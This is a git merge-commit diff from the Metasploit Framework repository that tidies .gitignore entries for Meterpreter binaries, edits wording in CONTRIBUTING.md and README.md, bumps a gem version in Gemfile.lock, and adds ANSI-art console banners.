Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock db/schema.rb lib/msf/core/db_manager/session.rb metasploit-framework-db.gemspecbug/bundler_fix
commit
5e2d6c27c3
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
|
@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
|
|||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem, include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful), and
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
|
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
|
|||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
|
@ -27,7 +27,7 @@ closed. Sorry!
|
|||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide,
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
|
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
|
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel]
|
||||
or e-mail us at [metasploit-hackers] mailing list.
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
|
|||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
|
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
|
|||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api/
|
||||
[RSpec]:http://rspec.info/
|
||||
[Better Specs]:http://betterspecs.org/
|
||||
[YARD]:http://yardoc.org/
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||
|
|
|
@ -56,7 +56,7 @@ PATH
|
|||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
meterpreter_bins (= 0.0.16)
|
||||
meterpreter_bins (= 0.0.17)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -152,7 +152,7 @@ GEM
|
|||
json (1.8.2)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
meterpreter_bins (0.0.16)
|
||||
meterpreter_bins (0.0.17)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
|
|
12
README.md
12
README.md
|
@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
|
|||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from https://metasploit.com/
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
|
|||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
|
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more info, see
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,35 @@
|
|||
[0m[0m _________________________________________________ [0m
|
||||
[0m< This console just got 20% cooler[0m >[0m
|
||||
[0m ------------------------------------------------- [0m[00m
|
||||
[0m/[0m[00m
|
||||
[0m/[0m [00m
|
||||
[38;5;74m▀▄▄▄▄▄▄▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀▀[48;5;54m▄▄▄▄▄[48;5;74m█[38;5;54m▄▄▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m███[38;5;113m▄▄[38;5;229m▄▄[38;5;74m██[48;5;54m▄[38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m██[38;5;113m▄[48;5;113m█[38;5;229m▄▄[48;5;229m█[38;5;209m▄▄[38;5;229m██[48;5;74;38;5;113m▄[38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m█[38;5;229m▄[48;5;229m███[48;5;209;38;5;209m██[38;5;203m▄[38;5;209m██[48;5;229m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m█[38;5;54m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m██[48;5;229;38;5;229m███[48;5;209;38;5;209m█[38;5;203m▄[48;5;203m██[38;5;74m▄[49m▀▀[48;5;209m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m██[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113;38;5;113m██[48;5;229;38;5;229m██[48;5;209;38;5;209m██[48;5;203;38;5;203m█[48;5;74;38;5;74m█[48;5;203m▄[48;5;74;38;5;209m▄[49;38;5;74m▄[39m [48;5;74;38;5;74m█[48;5;209;38;5;209m█[48;5;74;38;5;113m▄[38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m██[48;5;113m▄[38;5;113m█[48;5;229;38;5;229m██[48;5;209;38;5;74m▄[48;5;203;38;5;203m██[48;5;74;38;5;74m█[49;39m [38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;203;38;5;203m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m██[48;5;113;38;5;113m█[48;5;229m▄[38;5;229m█[48;5;74;38;5;74m█[48;5;203;38;5;203m█[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;229m█[48;5;74;38;5;74m█[48;5;209m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;209m▄[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;74m▄[49m▀[48;5;74m█[49;39m [38;5;74m▄▄[48;5;74;38;5;117m▄▄▄▄[49;38;5;74m▄▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;113m▄[48;5;74m█[49;39m [38;5;74m▀[39m [38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[38;5;231m▄[38;5;117m██████[48;5;74m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||
[38;5;74m▀[48;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;231;38;5;229m▄[38;5;231m██[48;5;117;38;5;117m██████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;229;38;5;117m▄[48;5;74m▄[48;5;117m████████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[38;5;74m▄[38;5;117m██████[38;5;74m▄[49m▀[39m [0m/[0m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m███[48;5;74;38;5;74m█[48;5;117m▄▄[48;5;74m█[48;5;117;38;5;117m███████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;117m▄[38;5;117m██████[48;5;74;38;5;74m█[49;39m [38;5;74m▄▄▄[48;5;74;38;5;203m▄▄▄[49;38;5;74m▄▄▄[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m████[48;5;74;38;5;74m█[49;39m [38;5;74m▄[48;5;74m█[38;5;117m▄[48;5;117m██[38;5;74m▄[38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74m▄[38;5;74m█[38;5;229m▄[48;5;229m█[48;5;209m▄▄[38;5;209m██[48;5;203m▄▄[38;5;203m██[48;5;74m▄[38;5;74m█[49m▀[39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m██[38;5;74m▄[49m▀▄[48;5;74;38;5;117m▄▄[48;5;117m███[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;110;38;5;74m▄[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;229m▄▄[38;5;229m███[48;5;209m▄▄[38;5;209m███[48;5;203m▄[38;5;74m▄[48;5;74;38;5;203m▄[49;39m [00m
|
||||
[38;5;74m▀▀[39m [38;5;74m▄[48;5;74m█[48;5;117;38;5;117m████[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[48;5;74m▄▄[48;5;229;38;5;74m▄[38;5;229m██[38;5;74m▄[48;5;209;38;5;229m▄[38;5;209m██[48;5;74;38;5;74m█[49m▀[48;5;209m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m███[38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;74;38;5;16m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;74m▄[48;5;229;38;5;74m▄[48;5;74;38;5;117m▄[38;5;16m▄[48;5;229;38;5;74m▄[48;5;209;38;5;209m██[48;5;74;38;5;74m█[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[38;5;117m▄[38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;16;38;5;117m▄[38;5;74m▄[48;5;231;38;5;231m████[48;5;16m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;16;38;5;74m▄[48;5;231;38;5;231m█[48;5;16;38;5;16m█[49m▀[48;5;209;38;5;74m▄[38;5;209m█[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[48;5;117m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m██[48;5;117;38;5;117m██[48;5;231;38;5;231m██[38;5;168m▄[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[48;5;16;38;5;16m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[49;39m [38;5;74m▀▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;113;38;5;113m█[48;5;74m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;231m▄[48;5;168;38;5;231m▄[48;5;16;38;5;168m▄[48;5;168;38;5;231m▄[48;5;16;38;5;117m▄[48;5;117m██[48;5;74m▄[48;5;16;38;5;74m▄[48;5;168m▄[49;39m [00m
|
||||
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m███[48;5;113m▄[48;5;74;38;5;113m▄[48;5;117;38;5;74m▄[38;5;117m█████████[48;5;74;38;5;74m█[49;39m [00m
|
||||
[38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[48;5;113m▄[38;5;113m█[48;5;74;38;5;110m▄[48;5;117;38;5;74m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m███[48;5;110m▄[38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄[38;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[38;5;110m▄[38;5;74m█[48;5;110;38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||
[38;5;74m▀[48;5;117m▄▄[49m▀[39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;38;5;67m▀[48;5;74;38;5;74m█[49;38;5;67m▀▀[39m [00m
|
||||
[48;5;74;38;5;74m█[49;39m [00m
|
|
@ -0,0 +1,31 @@
|
|||
[0m[0m __________________ [0m
|
||||
[0m< Shells are cool.[0m >[0m
|
||||
[0m ------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;52m▄▄▄▄▄▄▄▄▄[39m [00m
|
||||
[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m██████████[48;5;52;38;5;52m█[49;38;5;234m▄▄[39m [00m
|
||||
[38;5;234m▄[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;101;38;5;101m█[38;5;144m▄▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;52m▄▄▄[38;5;101m▄▄▄▄▄▄[48;5;101m█[48;5;144;38;5;144m██[48;5;101m▄[48;5;236;38;5;101m▄[38;5;236m█[48;5;234m▄[49;38;5;234m▄[39m [00m
|
||||
[38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m████[38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████████[48;5;101;38;5;101m█[48;5;144;38;5;144m█[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;16m▄▄▄▄[38;5;144m██████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;234;38;5;234m█[48;5;236;38;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;16;38;5;16m█[38;5;231m▄[48;5;231m█[48;5;57;38;5;57m█[48;5;231;38;5;231m█[48;5;16m▄[48;5;144;38;5;16m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m███[48;5;234;38;5;234m█[49;39m [00m
|
||||
[38;5;234m▄▄[48;5;234;38;5;236m▄[48;5;236m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;16;38;5;231m▄[38;5;16m█[48;5;63;38;5;153m▄[48;5;231;38;5;231m██[48;5;16;38;5;16m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄▄▄▄▄▄[39m [00m
|
||||
[38;5;234m▀[48;5;236m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m██████[48;5;153m▄[48;5;231m▄▄[48;5;144m████[48;5;101;38;5;101m█[48;5;236;38;5;236m██[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████[48;5;234m▄▄[38;5;234m█[49m▀[39m [00m
|
||||
[38;5;101m▀[48;5;144m▄▄[48;5;101;38;5;144m▄[48;5;144m██████[38;5;101m▄[38;5;144m███[48;5;101;38;5;101m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [38;5;234m▄[48;5;234;38;5;236m▄[48;5;236m██████████[48;5;234;38;5;234m█[49m▄[39m [00m
|
||||
[38;5;101m▀▀▀▀▀▀[48;5;101m█[38;5;144m▄[48;5;144m███[38;5;250m▄[48;5;250;38;5;231m▄[48;5;234m▄[49;38;5;101m▄▄▄[48;5;101;38;5;144m▄▄▄▄▄[48;5;236;38;5;101m▄▄[49;38;5;234m▀▀▀[48;5;236m▄[38;5;236m██████[48;5;234m▄[49;38;5;234m▄[39m[00m
|
||||
[48;5;101;38;5;101m█[48;5;144;38;5;144m██[38;5;250m▄[48;5;250;38;5;231m▄[48;5;231m█[38;5;144m▄[48;5;144m███████[48;5;186;38;5;186m███[48;5;101;38;5;144m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m████[48;5;234m▄[48;5;236;38;5;234m▄[48;5;234m█[49;39m[00m
|
||||
[38;5;88m▄[48;5;88m█[48;5;52;38;5;52m█[48;5;231;38;5;231m█[38;5;144m▄[48;5;144m█████████[38;5;186m▄[48;5;186m█[48;5;144m▄[38;5;144m█[48;5;101;38;5;101m█[49;39m [48;5;234;38;5;236m▄[48;5;236;38;5;234m▄[48;5;234m█[48;5;236;38;5;236m██[48;5;234;38;5;234m█[49;39m [38;5;234m▀[39m[00m
|
||||
[38;5;88m▀[38;5;52m▀[48;5;144;38;5;101m▄[38;5;144m███████[48;5;101;38;5;101m█[48;5;144;38;5;144m██[48;5;186m▄▄▄[48;5;144;38;5;101m▄[49m▀[39m [38;5;234m▀▀[39m [48;5;234;38;5;234m█[48;5;236;38;5;236m█[38;5;234m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[38;5;101m▄▄▄▄[48;5;101m█[48;5;144m▄[38;5;144m███[48;5;101m▄[49;38;5;101m▄[39m [48;5;234;38;5;234m█[48;5;236m▄[49m▀[39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [38;5;95m▀[48;5;137m▄[48;5;101;38;5;137m▄[38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [38;5;234m▀[39m [00m
|
||||
[38;5;95m▄[48;5;95;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m███[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m███[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[38;5;95m▄[48;5;95m█[48;5;137;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;137m▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,27 @@
|
|||
[0m[0m ______________________________ [0m
|
||||
[0m< I love SHELLS![0m >[0m
|
||||
[0m ------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;54m▄▄[48;5;54m██[38;5;97m▄[38;5;54m█[38;5;90m▄[38;5;251m▄[38;5;90m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;251m▄[48;5;251;38;5;255m▄[48;5;255;38;5;251m▄[48;5;251;38;5;90m▄[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[49;38;5;251m▄[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;97m▄[38;5;133m▄[48;5;133;38;5;54m▄[49m▀[39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;255m▄[48;5;255m█[48;5;251m▄▄[48;5;255m█[38;5;16m▄[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;54m▄[48;5;97;38;5;54m▄▄[48;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;255;38;5;255m█[38;5;16m▄▄[48;5;16;38;5;117m▄[48;5;255;38;5;255m█[48;5;117;38;5;117m█[48;5;16;38;5;16m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;54m▄[48;5;255;38;5;251m▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;54;38;5;54m██[48;5;255;38;5;16m▄[48;5;16;38;5;117m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;255m▄[38;5;255m█[48;5;117;38;5;16m▄[48;5;16;38;5;251m▄[49;38;5;16m▀[39m [00m
|
||||
[38;5;54m▄▄[48;5;54;38;5;97m▄▄[38;5;133m▄▄▄▄[49;38;5;54m▄▄[39m [48;5;54;38;5;54m██[38;5;133m▄[48;5;133m█[38;5;54m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255;38;5;255m█[48;5;16m▄▄▄▄▄[48;5;255m██[48;5;251m▄▄[38;5;251m█[49;39m[00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;90m▄[48;5;90;38;5;97m▄▄▄[38;5;133m▄[48;5;97m▄▄▄[48;5;133;38;5;97m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;133;38;5;97m▄▄▄[48;5;97m█[48;5;54;38;5;54m█[38;5;255m▄[48;5;255m█████[38;5;251m▄[48;5;251;38;5;125m▄▄[49;38;5;251m▀▀[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;90m██[48;5;97m▄[38;5;54m▄[48;5;54;38;5;97m▄[38;5;133m▄▄▄▄[48;5;97;38;5;54m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[48;5;90;38;5;54m▄▄[48;5;54;38;5;255m▄[48;5;255m██████[48;5;251;38;5;251m█[48;5;209m▄[48;5;125m▄[49m▄[39m [00m
|
||||
[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m██[48;5;90m▄[48;5;54;38;5;90m▄[48;5;97m▄[38;5;54m▄▄[49m▀▀[48;5;133m▄▄[48;5;54;38;5;133m▄[38;5;251m▄[49m▄▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;97;38;5;54m▄[48;5;133m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255m▄[38;5;255m███[48;5;251m▄[38;5;251m█[49m▀▀▀[39m [00m
|
||||
[48;5;54;38;5;54m██[48;5;97;38;5;97m██[48;5;54m▄[38;5;54m█[48;5;90m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;117m▄[38;5;255m██[48;5;54m▄[48;5;133;38;5;54m▄[48;5;54m█[38;5;97m▄[38;5;133m▄[48;5;97;38;5;54m▄[48;5;90;38;5;90m█[48;5;54;38;5;54m█[48;5;255m▄[38;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄▄[38;5;97m█[48;5;54m▄▄[49;38;5;54m▄[39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74m▄[48;5;255m█[38;5;74m▄[38;5;255m█[48;5;54;38;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;97m▄▄▄[38;5;54m█[38;5;255m▄[48;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
